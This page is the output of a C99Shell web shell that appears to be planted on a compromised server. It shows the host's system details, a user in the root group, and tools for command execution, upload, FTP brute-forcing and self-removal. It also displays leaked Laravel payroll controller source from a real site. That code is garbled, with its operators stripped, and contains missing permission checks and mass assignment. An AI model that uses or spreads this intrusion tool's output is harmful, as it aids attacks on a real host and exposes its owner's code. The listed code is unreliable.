!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SetSalaryController.php (10.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Allowance;
use 
App\Models\AllowanceOption;
use 
App\Models\Commission;
use 
App\Models\DeductionOption;
use 
App\Models\Employee;
use 
App\Models\Loan;
use 
App\Models\LoanOption;
use 
App\Models\OtherPayment;
use 
App\Models\BankAccount;
use 
App\Models\Overtime;
use 
App\Models\PayslipType;
use 
App\Models\SaturationDeduction;
use 
Illuminate\Http\Request;

class 
SetSalaryController extends Controller
{
    public function 
index()
    {
        if(
\Auth::user()->can('manage set salary'))
        {
            
$employees Employee::where('created_by' \Auth::user()->creatorId())->with('salaryType')->get();

            return 
view('setsalary.index'compact('employees'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
edit($id)
    {
        if(
\Auth::user()->can('edit set salary'))
        {
            
$payslip_type      PayslipType::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            
$allowance_options AllowanceOption::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            
$loan_options      LoanOption::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            
$deduction_options DeductionOption::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            if(
\Auth::user()->type == 'Employee')
            {
                
$currentEmployee      Employee::where('user_id''='\Auth::user()->id)->first();
                
$allowances           Allowance::where('employee_id'$currentEmployee->id)->get();
                
$commissions          Commission::where('employee_id'$currentEmployee->id)->get();
                
$loans                Loan::where('employee_id'$currentEmployee->id)->get();
                
$saturationdeductions SaturationDeduction::where('employee_id'$currentEmployee->id)->get();
                
$otherpayments        OtherPayment::where('employee_id'$currentEmployee->id)->get();
                
$overtimes            Overtime::where('employee_id'$currentEmployee->id)->get();
                
$employee             Employee::where('user_id''='\Auth::user()->id)->first();
                return 
view('setsalary.employee_salary'compact('employee''payslip_type''allowance_options''commissions''loan_options''overtimes''otherpayments''saturationdeductions''loans''deduction_options''allowances'));
            }
            else
            {
                
$allowances           Allowance::where('employee_id'$id)->get();
                
$commissions          Commission::where('employee_id'$id)->get();
                
$loans                Loan::where('employee_id'$id)->get();
                
$saturationdeductions SaturationDeduction::where('employee_id'$id)->get();
                
$otherpayments        OtherPayment::where('employee_id'$id)->get();
                
$overtimes            Overtime::where('employee_id'$id)->get();
                
$employee             Employee::find($id);

                return 
view('setsalary.edit'compact('employee''payslip_type''allowance_options''commissions''loan_options''overtimes''otherpayments''saturationdeductions''loans''deduction_options''allowances'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
show($id)
    {
        
$payslip_type      PayslipType::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
        
$allowance_options AllowanceOption::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
        
$loan_options      LoanOption::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
        
$deduction_options DeductionOption::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
        if(
\Auth::user()->type == 'Employee')
        {
            
$currentEmployee      Employee::where('user_id''='\Auth::user()->id)->first();
            
$allowances           Allowance::where('employee_id'$currentEmployee->id)->with(['employee','allowanceOption'])->get();
            
$commissions          Commission::where('employee_id'$currentEmployee->id)->with(['employee'])->get();
            
$loans                Loan::where('employee_id'$currentEmployee->id)->With(['employee','loanOption'])->get();
            
$saturationdeductions SaturationDeduction::where('employee_id'$currentEmployee->id)->with(['deductionOption'])->get();
            
$otherpayments        OtherPayment::where('employee_id'$currentEmployee->id)->get();
            
$overtimes            Overtime::where('employee_id'$currentEmployee->id)->get();
            
$employee             Employee::where('user_id''='\Auth::user()->id)->with('salaryType')->first();

            foreach ( 
$allowances as  $value) {
                if(  
$value->type == 'percentage' )
                {
                    
$employee          Employee::find($value->employee_id);
                    
$empsal  $value->amount $employee->salary 100;
                    
$value->tota_allow $empsal;
                }
            }

            foreach ( 
$commissions as  $value) {
                if(  
$value->type == 'percentage' )
                {
                    
$employee          Employee::find($value->employee_id);
                    
$empsal  $value->amount $employee->salary 100;
                    
$value->tota_allow $empsal;
                }
            }

            foreach ( 
$loans as  $value) {
                if(  
$value->type == 'percentage' )
                {
                    
$employee          Employee::find($value->employee_id);
                    
$empsal  $value->amount $employee->salary 100;
                    
$value->tota_allow $empsal;
                }
            }

            foreach ( 
$saturationdeductions as  $value) {
                if(  
$value->type == 'percentage' )
                {
                    
$employee          Employee::find($value->employee_id);
                    
$empsal  $value->amount $employee->salary 100;
                    
$value->tota_allow $empsal;
                }
            }

            foreach ( 
$otherpayments as  $value) {
                if(  
$value->type == 'percentage' )
                {
                    
$employee          Employee::find($value->employee_id);
                    
$empsal  $value->amount $employee->salary 100;
                    
$value->tota_allow $empsal;
                }
            }

            return 
view('setsalary.employee_salary'compact('employee''payslip_type''allowance_options''commissions''loan_options''overtimes''otherpayments''saturationdeductions''loans''deduction_options''allowances'));


        }
        else
        {
            
$allowances           Allowance::where('employee_id'$id)->get();
            
$commissions          Commission::where('employee_id'$id)->get();
            
$loans                Loan::where('employee_id'$id)->get();
            
$saturationdeductions SaturationDeduction::where('employee_id'$id)->get();
            
$otherpayments        OtherPayment::where('employee_id'$id)->get();
            
$overtimes            Overtime::where('employee_id'$id)->get();
            
$employee             Employee::with('salaryType')->find($id);

            foreach ( 
$allowances as  $value) {

                if(  
$value->type == 'percentage' )
                {
                    
$employee          Employee::with('salaryType')->find($value->employee_id);
                    
$empsal  $value->amount $employee->salary 100;
                    
$value->tota_allow $empsal;
                }
            }

            foreach ( 
$commissions as  $value) {
                if(  
$value->type == 'percentage' )
                {
                    
$employee          Employee::with('salaryType')->find($value->employee_id);
                    
$empsal  $value->amount $employee->salary 100;
                    
$value->tota_allow $empsal;
                }
            }

            foreach ( 
$loans as  $value) {
                if(  
$value->type == 'percentage' )
                {
                    
$employee          Employee::with('salaryType')->find($value->employee_id);
                    
$empsal  $value->amount $employee->salary 100;
                    
$value->tota_allow $empsal;
                }
            }

            foreach ( 
$saturationdeductions as  $value) {
                if(  
$value->type == 'percentage' )
                {
                    
$employee          Employee::with('salaryType')->find($value->employee_id);
                    
$empsal  $value->amount $employee->salary 100;
                    
$value->tota_allow $empsal;
                }
            }

            foreach ( 
$otherpayments as  $value) {
                if(  
$value->type == 'percentage' )
                {
                    
$employee          Employee::with('salaryType')->find($value->employee_id);
                    
$empsal  $value->amount $employee->salary 100;
                    
$value->tota_allow $empsal;
                }
            }

            return 
view('setsalary.employee_salary'compact('employee''payslip_type''allowance_options''commissions''loan_options''overtimes''otherpayments''saturationdeductions''loans''deduction_options''allowances'));
        }

    }


    public function 
employeeUpdateSalary(Request $request$id)
    {
        
$validator \Validator::make(
            
$request->all(), [
                               
'salary_type' => 'required',
                               
'salary' => 'required',
                           ]
        );
        if(
$validator->fails())
        {
            
$messages $validator->getMessageBag();
            return 
redirect()->back()->with('error'$messages->first());
        }
        
$employee Employee::findOrFail($id);
        
$input    $request->all();
        
$employee->fill($input)->save();

        return 
redirect()->back()->with('success''Employee Salary Updated.');
    }

    public function 
employeeSalary()
    {
        if(
\Auth::user()->type == "employee")
        {
            
$employees Employee::where('user_id'\Auth::user()->id)->get();
            return 
view('setsalary.index'compact('employees'));
        }
    }

    public function 
employeeBasicSalary($id)
    {
        
$payslip_type PayslipType::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
        
$account BankAccount::where('created_by'\Auth::user()->creatorId())->where('holder_name' '!=''cash')->get()->pluck('bank_name''id');

        
$employee     Employee::find($id);
        return 
view('setsalary.basic_salary'compact('employee''payslip_type' 'account'));
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--